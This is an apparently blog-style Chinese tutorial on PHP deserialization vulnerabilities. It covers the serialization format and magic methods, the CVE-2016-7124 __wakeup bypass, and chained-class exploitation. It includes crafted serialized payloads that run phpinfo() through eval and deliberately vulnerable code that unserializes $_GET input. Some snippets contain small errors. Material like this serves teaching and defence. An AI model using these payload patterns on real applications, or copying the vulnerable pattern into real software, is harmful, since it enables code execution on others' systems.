0%

php反序列化总结

总结一下php反序列化吧,最基础的内容。

0x01什么是php反序列化

在php中,序列化是将对象转换为字节序列的过程,反序列化则是将字节序列恢复为对象的过程。该过程的意义是可以将一个对象通过可保存的字节方式进行存储,当需要的时候再通过反序列化来获取。

0x02类的序列化与反序列化

序列化

我们看一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
<?php
class cls {
var $value = '123456';
function do(){
echo 'do..';
}
}
$a = new cls();
print_r($a);
print_r(serialize($a));
?>

运行结果:

1
2
3
4
5
cls Object
(
[value] => 123456
)
O:3:"cls":1:{s:5:"value";s:6:"123456";}

我们可以看到对象被序列化成了字节码,其中保留了类名,以及变量的相关信息,但是并没有函数的相关信息。
详细解释一下序列化之后的内容:O代表对象,3代表该对象的对象名长度为3,”cls”即对象名,1代表对象中有1个成员变量,随后大括号里面是对这个成员变量的描述,以“变量名;变量值;变量名;变量值;…”的方式来描述。s代表string,即字符串,5代表变量名长度,”value”即变量名,分号代表该变量名描述结束,随后是对变量值的描述,与对变量名的描述形式相同。
这里有两个特殊的点,如果序列化的对象成员变量为私有,例如cls类有一个私有成员private $abc = "123";序列化之后的结果为s:8:"abc123",这里为什么是8呢?是因为序列化的过程中,私有成员除了变量名前加了类名,还有两个不可见字符,即序列化后的结果实际为s:8:"%00abc%00123"%00为url编码,解码后为不可见字符(有时候会显示成一个空格有时候不显示),所以结果为8。
而如果序列化的对象成员是保护类型(即protected),则序列化后的结果也会有差别,例如cls类有一个保护成员private $abc = "123";序列化之后的结果为s:5:"*wa";这里为什么是5呢?原因就是又生成了两个%00不可见字符,即真实结果为s:5:"%00*%00wa";所以结果为5。
序列化后的字母标识符主要有O(对象Object)、s(字符串string)、i(整数integer)
当类中的变量是另一个类时,序列化过程中会将另一个类也进行序列化,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class cls1{
function __construct(){
$this->value = new cls2();
}
}
class cls2{
var $king = 'cls2';
}
$a = new cls1();
print_r($a);
print_r(serialize($a));
?>

运行结果:

1
2
3
4
5
6
7
8
cls1 Object
(
[value] => cls2 Object
(
[king] => cls2
)
)
O:4:"cls1":1:{s:5:"value";O:4:"cls2":1:{s:4:"king";s:4:"cls2";}}

可以看到另一个类也被序列化了。

反序列化

反序列化会将字节码恢复成对象,看一个例子:

1
2
3
4
5
6
7
8
9
<?php
class aaaaa{
var $asdf = 1;
var $apple = "red";
}

$a = 'O:5:"aaaaa":2:{s:4:"asdf";i:1;s:5:"apple";s:3:"red";}';
print_r(unserialize($a));
?>

运行结果:

1
2
3
4
5
aaaaa Object
(
[asdf] => 1
[apple] => red
)

可以看到字节码被成功恢复成了对象。
如果我们反序列化一个不存在的类,结果就会显示一个__PHP_Incomplete_Class Object:

1
2
3
4
<?php
$a = 'O:5:"aaaaa":2:{s:4:"asdf";i:1;s:5:"apple";s:3:"red";}';
print_r(unserialize($a));
?>

运行结果:

1
2
3
4
5
6
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => aaaaa
[asdf] => 1
[apple] => red
)

0x03魔术方法(Magic function)

魔术方法是一种类中的特殊方法,通常通过语法糖的形式被自动调用,所以当使用了一些语法糖的时候会无意间执行这些函数
一些常见的魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
__construct() // 对象创建时触发
__wakeup() // 使用unserrialize时触发
__sleep() // 使用serialize时触发
__destruct() //对象被销毁的时候触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问你的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()时触发
__unset() //在不可访问你的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对昂调用为函数时触发

0x04 php反序列化漏洞

借助魔术方法/危险函数,我们可以通过反序列化控制类中的成员变量,从而实现文件读取,任意代码执行等操作。

直接利用

当类中的危险函数在后面存在被调用时,就可以通过控制类中的变量,导致漏洞触发,例如:

1
2
3
4
5
6
7
8
9
10
<?php
class cls{
var $value = 'echo 123;';
function do(){
eval($this->value);
}
}
$a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}');
$a->do();
?>

运行结果:

1
2
3
4
5
6
7
8
9
10
11
phpinfo()
PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1

System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php/5.6/cli
Loaded Configuration File => /etc/php/5.6/cli/php.ini
Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d
Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini
......

危险函数在魔术方法中

如果类中不存在方法的直接调用,可以查看魔术方法中是否存在危险函数。例如:

1
2
3
4
5
6
7
class cls{
var $value = 'echo 123;';
function __wakeup(){
eval($this->value);
}
}
$a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}');

运行结果:

1
2
3
4
5
6
7
8
9
10
11
phpinfo()
PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1

System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php/5.6/cli
Loaded Configuration File => /etc/php/5.6/cli/php.ini
Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d
Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini
......
绕过__wakeup()[CVE-2016-7124]

当序列化字符串中表示对象属性个数的值大于真实数量时,会绕过__wakeup()函数的执行,影响范围:php5 < 5.6.25;php7 < 7.0.10
举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
error_reporting(0);
class ABC{
public $key = 'emmm';
function __destruct(){
if(!empty($this->key)){
if($this->key == 'emmm')
echo 'success';
}
}
function __wakeup(){
$this->key = 'failed';
echo $this->key;
}
public function __toString(){
return '';
}
}
if(!isset($_GET['answer'])){
show_source('serializetest.php');
}else{
$answer = $_GET['answer'];
echo unserialize($answer);
}

?>

故可构造序列化字符串O:3:"ABC":4:{s:3:"key";s:4:"emmm";}
执行结果:

1
success

而如果按照正常的数量来写(1而不是4)的话,O:3:"ABC":1:{s:3:"key";s:4:"emmm";}
执行结果为:

1
failed

当危险函数在别的类中调用

如果一个类中的成员变量是另一个类的对象,而另一个类中调用了危险函数,此时便可通过序列化前者,从而触发漏洞。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class cls1{
var $ser;
function __construct(){
$ser = new ser2();
}

function __wakeup(){
$this->ser->evil();
}
}

class cls2{
var $value = "echo 123;";
function evil(){
eval($this->value);
}

}
$cls = $GET['cls'];
$instance = unserialize($cls);

我们可以构造序列化字符串O:4:"cls1":1:{s:3:"ser";O:4:"cls2":1:{s:5:"value";s:10:"phpinfo();";}},传入get中即可触发漏洞。
运行结果:

1
2
3
4
5
6
7
8
9
10
11
phpinfo()
PHP Version => 5.6.40-26+ubuntu18.04.1+deb.sury.org+1

System => Linux LAPTOP-FQL3FC52 4.19.104-microsoft-standard #1 SMP Wed Feb 19 06:37:35 UTC 2020 x86_64
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /etc/php/5.6/cli
Loaded Configuration File => /etc/php/5.6/cli/php.ini
Scan this dir for additional .ini files => /etc/php/5.6/cli/conf.d
Additional .ini files parsed => /etc/php/5.6/cli/conf.d/10-opcache.ini
......

0x05session反序列化漏洞

什么是session反序列化

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存储和读取session数据,都会对数据进行序列化和反序列化。
在php.ini中有以下配置项:

其中:
session.save_path设置session的存储路径
session.save_handler设置用户自定义存储函数
session.serialize_handler定义用来序列化/反序列化的处理器名称,主要有:php[默认],php_serialize,php_binary
session.auto_start指定会话模块是否在请求开始时启动一个会话
php的session内容是以文件方式来存储的,由session.save_handler来决定,文件名由sess_sessionid来命名,文件内容则为session序列化后的值。
例如:

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = 'abc';
?>

执行,随后可以看到结果:

发现目录下面多了一个存session的文件,查看它:

发现里面存的就是序列化之后的session。
上面是存储引擎为php_serialize时的存储结果,如果存储引擎为php,则存储结果为:

如果存储引擎为php_binary,则存储结果为:

三种处理器的存储格式差异,将会造成在session序列化和反序列化处理器设置不当时的安全隐患。